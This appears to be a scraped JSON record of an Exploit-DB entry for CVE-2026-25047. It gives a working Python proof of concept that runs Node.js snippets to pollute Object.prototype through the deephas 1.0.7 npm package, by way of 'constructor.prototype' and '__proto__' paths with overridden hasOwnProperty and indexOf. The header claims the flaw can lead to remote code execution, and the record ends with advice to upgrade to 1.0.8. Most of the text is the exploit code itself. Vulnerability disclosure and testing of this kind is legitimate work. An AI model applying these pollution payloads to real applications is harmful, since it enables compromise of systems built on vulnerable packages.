{“lastseen”:”2026-04-30T07:27:59″,”description”:”Exploit Title: deephas 1.0.7 – Prototype Pollution Google Dork: N\/A Date: 2026-02-01 Exploit Author: Mohammed Idrees Banyamer Author Country: Jordan Instagram: @banyamersecurity Vendor Homepage: https:\/\/www.npmjs.com\/package\/deephas Software Link:…”,”published”:”2026-04-30T00:00:00″,”modified”:”2026-04-30T00:00:00″,”type”:”exploitdb”,”title”:”deephas 1.0.7 – Prototype Pollution”,”source”:””,”references”:””,”id”:”EDB-ID:52528″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25047″],”sourceData”:”# Exploit Title: deephas 1.0.7 – Prototype Pollution \\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-02-01\\r\\n# Exploit Author: Mohammed Idrees Banyamer\\r\\n# Author Country: Jordan\\r\\n# Instagram: @banyamer_security\\r\\n# Vendor Homepage: https:\/\/www.npmjs.com\/package\/deephas\\r\\n# Software Link: https:\/\/github.com\/sharpred\/deepHas\\r\\n# Version: \\u003c= 1.0.7 (fixed in 1.0.8 and later)\\r\\n# Tested on: Node.js 16 \/ 18 \/ 20 (Linux \/ macOS \/ Windows)\\r\\n# CVE : CVE-2026-25047\\r\\n# GHSA: GHSA-2733-6c58-pf27\\r\\n# CVSS: 9.8 (Critical)\\r\\n#\\r\\n# Description:\\r\\n# The ‘deephas’ npm package suffers from a prototype pollution vulnerability\\r\\n# in versions 1.0.7 and below due to unsafe recursive property assignment\\r\\n# without proper hasOwnProperty checks and inadequate path sanitization.\\r\\n#\\r\\n# An attacker who can supply arbitrary keys to deephas.set() can pollute\\r\\n# Object.prototype \u2014 which may lead to:\\r\\n# \u2022 Remote code execution (when polluting sensible properties like\\r\\n# process.env, require.extensions, child_process, etc.)\\r\\n# \u2022 Denial of Service\\r\\n# \u2022 Security bypass (when polluting hasOwnProperty, toString, etc.)\\r\\n# \u2022 Privilege escalation in sandboxed \/ vm2-like environments\\r\\n#\\r\\n# This PoC demonstrates pollution of Object.prototype via two techniques:\\r\\n# 1. constructor.prototype path + hasOwnProperty bypass\\r\\n# 2. __proto__ path + indexOf bypass\\r\\n#\\r\\n# References:\\r\\n# \u2022 https:\/\/github.com\/sharpred\/deepHas\/security\/advisories\/GHSA-2733-6c58-pf27\\r\\n# \u2022 https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-25047\\r\\n#\\r\\n# Usage:\\r\\n# 1. npm install deephas@1.0.7\\r\\n# 2. python3 poc-deephas-prototype-pollution.py\\r\\n#\\r\\n# Remediation:\\r\\n# Upgrade to deephas \\u003e= 1.0.8\\r\\n#\\r\\n\\r\\nimport subprocess\\r\\nimport os\\r\\nimport textwrap\\r\\nimport sys\\r\\nimport shutil\\r\\n\\r\\n\\r\\ndef run_js(code: str) -\\u003e tuple[bool, str, str]:\\r\\n \\”\\”\\”Execute JavaScript code snippet via Node.js and capture output\\”\\”\\”\\r\\n tmp_file = \\”poc-deephas-temp.js\\”\\r\\n\\r\\n try:\\r\\n with open(tmp_file, \\”w\\”, encoding=\\”utf-8\\”) as f:\\r\\n f.write(code.strip())\\r\\n\\r\\n result = subprocess.run(\\r\\n [\\”node\\”, tmp_file],\\r\\n capture_output=True,\\r\\n text=True,\\r\\n timeout=10,\\r\\n check=False\\r\\n )\\r\\n\\r\\n return (\\r\\n result.returncode == 0,\\r\\n result.stdout.strip(),\\r\\n result.stderr.strip()\\r\\n )\\r\\n\\r\\n except FileNotFoundError:\\r\\n return False, \\”\\”, \\”Node.js not found. Please install Node.js.\\”\\r\\n except subprocess.TimeoutExpired:\\r\\n return False, \\”\\”, \\”Execution timed out.\\”\\r\\n except Exception as e:\\r\\n return False, \\”\\”, f\\”Error: {str(e)}\\”\\r\\n finally:\\r\\n if os.path.exists(tmp_file):\\r\\n try:\\r\\n os.remove(tmp_file)\\r\\n except:\\r\\n pass\\r\\n\\r\\n\\r\\ndef show_result(name: str, success: bool, stdout: str, stderr: str):\\r\\n print(f\\”{‘\u2500’ * 10} {name} {‘\u2500’ * 10}\\”)\\r\\n if not success:\\r\\n print(\\”STATUS : FAILED\\”)\\r\\n if stderr:\\r\\n print(\\”ERROR :\\”, stderr.splitlines()[0] if stderr.splitlines() else stderr)\\r\\n else:\\r\\n print(\\”(no error message captured)\\”)\\r\\n else:\\r\\n polluted = any(x in stdout.lower() for x in [\\”yes!!!\\”, \\”hacked\\”, \\”polluted\\”])\\r\\n status = \\”VULNERABLE (pollution successful)\\” if polluted else \\”UNEXPECTED RESULT\\”\\r\\n print(f\\”STATUS : {status}\\”)\\r\\n print()\\r\\n for line in stdout.splitlines():\\r\\n print(f\\” {line}\\”)\\r\\n print(\\”\u2500\\” * 70)\\r\\n print()\\r\\n\\r\\n\\r\\ndef main():\\r\\n print(\\”=\\” * 70)\\r\\n print(\\” deephas \\u003c= 1.0.7 \u2013 Prototype Pollution PoC\\”)\\r\\n print(\\” CVE-2026-25047 \/ GHSA-2733-6c58-pf27\\”)\\r\\n print(\\”=\\” * 70)\\r\\n print()\\r\\n\\r\\n if not shutil.which(\\”node\\”):\\r\\n print(\\”Error: Node.js is required but not found in PATH.\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n print(\\”[*] Make sure you have installed the vulnerable version:\\”)\\r\\n print(\\” npm install deephas@1.0.7\\\\n\\”)\\r\\n\\r\\n # \u2500\u2500 PoC 1: constructor.prototype + hasOwnProperty bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\\r\\n poc1 = textwrap.dedent(\\”\\”\\”\\\\\\r\\n Object.prototype.hasOwnProperty = () =\\u003e true;\\r\\n\\r\\n const has = require(‘deephas’);\\r\\n const obj = {};\\r\\n has.set(obj, ‘constructor.prototype.poc1’, ‘yes!!!’);\\r\\n\\r\\n console.log(‘obj.poc1 \u2192’, obj.poc1);\\r\\n console.log(‘{}.poc1 \u2192’, {}.poc1);\\r\\n console.log(‘polluted global? \u2192’, {}.poc1 === ‘yes!!!’);\\r\\n \\”\\”\\”)\\r\\n\\r\\n ok1, out1, err1 = run_js(poc1)\\r\\n show_result(\\”PoC 1 \u2013 constructor.prototype pollution\\”, ok1, out1, err1)\\r\\n\\r\\n # \u2500\u2500 PoC 2: __proto__ + indexOf bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\r\\n poc2 = textwrap.dedent(\\”\\”\\”\\\\\\r\\n String.prototype.indexOf = () =\\u003e -1;\\r\\n\\r\\n const has = require(‘deephas’);\\r\\n const obj = {};\\r\\n has.set(obj, ‘__proto__.poc2’, ‘HACKED’);\\r\\n\\r\\n console.log(‘obj.poc2 \u2192’, obj.poc2);\\r\\n console.log(‘{}.poc2 \u2192’, {}.poc2);\\r\\n console.log(‘polluted global? \u2192’, {}.poc2 === ‘HACKED’);\\r\\n \\”\\”\\”)\\r\\n\\r\\n ok2, out2, err2 = run_js(poc2)\\r\\n show_result(\\”PoC 2 \u2013 __proto__ + indexOf bypass\\”, ok2, out2, err2)\\r\\n\\r\\n print(\\” \\” * 20 + \\”SUMMARY\\”.center(30, \\”\u2500\\”))\\r\\n print(\\”If you see ‘yes!!!’ or ‘HACKED’ printed from {}.xxx property\\”)\\r\\n print(\\”\u2192 deephas@1.0.7 is VULNERABLE to prototype pollution.\\”)\\r\\n print()\\r\\n print(\\”Fix: Upgrade to deephas \\u003e= 1.0.8\\”)\\r\\n print(\\”=\\” * 70)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52528″,”cvss”:{“score”:9.4,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:L\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52528″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-30T07:27:59″,”description”:”Exploit Title: deephas 1.0.7 – Prototype Pollution Google Dork: N\/A Date: 2026-02-01 Exploit Author: Mohammed Idrees Banyamer Author Country: Jordan Instagram: @banyamersecurity Vendor Homepage: https:\/\/www.npmjs.com\/package\/deephas…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,131,12,40,13,7,11,5],"class_list":["post-50351","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-94","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n